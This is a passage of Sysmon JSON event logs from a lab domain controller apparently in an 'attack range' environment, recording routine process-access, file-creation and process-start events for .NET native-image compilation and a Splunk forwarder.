12:04:36.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010F6771100}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010F6771100}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010F6771100}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:36.869\r\nProcessGuid: {90617006-4354-5F2D-0000-0010F6771100}\r\nProcessId: 4716\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\126c-0\\System.Configuration.Install.dll\r\nCreationUtcTime: 2020-08-07 12:04:36.869","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:36.869","ProcessGuid":"{90617006-4354-5F2D-0000-0010F6771100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\126c-0\\System.Configuration.Install.dll","CreationUtcTime":"2020-08-07 12:04:36.869","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.901\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00108B081000}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.901","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00108B081000}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431F-5F2D-0000-00108B081000}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431F-5F2D-0000-00108B081000}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010B57C1100}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010B57C1100}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432E-5F2D-0000-0010BF661000}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432E-5F2D-0000-0010BF661000}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432E-5F2D-0000-0010BF661000}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432E-5F2D-0000-0010BF661000}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010FB7F1100}\r\nTargetProcessId: 2584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010FB7F1100}","TargetProcessId":"2584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.339\r\nProcessGuid: {90617006-4355-5F2D-0000-001002831100}\r\nProcessId: 2516\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: 